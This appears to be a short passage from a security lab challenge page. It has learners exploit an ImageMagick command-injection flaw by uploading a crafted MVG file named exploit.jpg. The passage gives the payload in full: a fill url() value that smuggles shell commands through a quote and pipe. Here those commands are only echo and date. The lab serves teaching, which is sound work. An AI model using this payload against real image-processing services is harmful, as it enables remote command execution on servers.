Save it as exploit.jpg. Upload it using the form above on this page.push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com"|echo "HELLO";date;")' pop graphic-context
The "echo" and "date" commands execute, as shown below.
After one minute, your name will appear on the WINNERS page here:/tmp/im/winners
http://attack3214.samsclass.info/root/im-winners.html
Hint
Step-by-step instructions